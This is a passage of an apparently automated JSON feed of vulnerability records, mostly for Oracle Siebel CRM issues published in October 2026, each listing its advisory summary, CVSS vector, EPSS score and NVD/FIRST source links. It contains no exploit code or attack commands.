fixes.","publishedAt":"2026-10-20T22:20:49.303Z","updatedAt":"2026-10-24T03:16:29.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91457","asOf":"2026-10-24T03:16:29.930Z"},"epss":{"probability":0.00159,"percentile":0.05041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91457","type":"primary","publishedAt":"2026-10-20T22:20:49.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91450","cveId":"CVE-2026-91450","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:48.740Z","updatedAt":"2026-10-24T03:16:28.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91450","asOf":"2026-10-24T03:16:28.900Z"},"epss":{"probability":0.00302,"percentile":0.22685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91450","type":"primary","publishedAt":"2026-10-20T22:20:48.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91449","cveId":"CVE-2026-91449","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:48.590Z","updatedAt":"2026-10-24T03:16:28.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91449","asOf":"2026-10-24T03:16:28.380Z"},"epss":{"probability":0.00244,"percentile":0.15391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91449","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91449","type":"primary","publishedAt":"2026-10-20T22:20:48.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91448","cveId":"CVE-2026-91448","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:48.483Z","updatedAt":"2026-10-24T03:16:27.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91448","asOf":"2026-10-24T03:16:27.867Z"},"epss":{"probability":0.00398,"percentile":0.33771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91448&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91448","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91448","type":"primary","publishedAt":"2026-10-20T22:20:48.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91448&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91448, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91447","cveId":"CVE-2026-91447","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:48.363Z","updatedAt":"2026-10-24T03:16:26.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91447","asOf":"2026-10-24T03:16:26.387Z"},"epss":{"probability":0.00377,"percentile":0.31449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91447","type":"primary","publishedAt":"2026-10-20T22:20:48.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91445","cveId":"CVE-2026-91445","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).","summary":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM End User accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Communications Panel/Dashboard).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM End User accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:48.140Z","updatedAt":"2026-10-23T21:17:28.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91445","asOf":"2026-10-23T21:17:28.497Z"},"epss":{"probability":0.00244,"percentile":0.15496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91445","type":"primary","publishedAt":"2026-10-20T22:20:48.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91442","cveId":"CVE-2026-91442","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:47.790Z","updatedAt":"2026-10-23T21:17:28.187Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91442","asOf":"2026-10-23T21:17:28.187Z"},"epss":{"probability":0.00286,"percentile":0.20959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91442&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91442","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91442","type":"primary","publishedAt":"2026-10-20T22:20:47.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91442&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91442, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91438","cveId":"CVE-2026-91438","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:47.323Z","updatedAt":"2026-10-23T21:17:27.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91438","asOf":"2026-10-23T21:17:27.760Z"},"epss":{"probability":0.00278,"percentile":0.20029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91438","type":"primary","publishedAt":"2026-10-20T22:20:47.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91437","cveId":"CVE-2026-91437","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).","summary":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).","detail":"Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment.  While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:47.210Z","updatedAt":"2026-10-23T21:17:27.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91437","asOf":"2026-10-23T21:17:27.657Z"},"epss":{"probability":0.00361,"percentile":0.29622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91437","type":"primary","publishedAt":"2026-10-20T22:20:47.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91433","cveId":"CVE-2026-91433","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).","summary":"Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel Apps - Field Service.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Siebel Apps - Field Service product of Oracle Siebel CRM (component: Smart Answer).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel Apps - Field Service.  Successful attacks of this vulnerability can result in takeover of Siebel Apps - Field Service. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:46.757Z","updatedAt":"2026-10-23T21:17:27.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91433","asOf":"2026-10-23T21:17:27.233Z"},"epss":{"probability":0.00431,"percentile":0.37101,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91433&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish 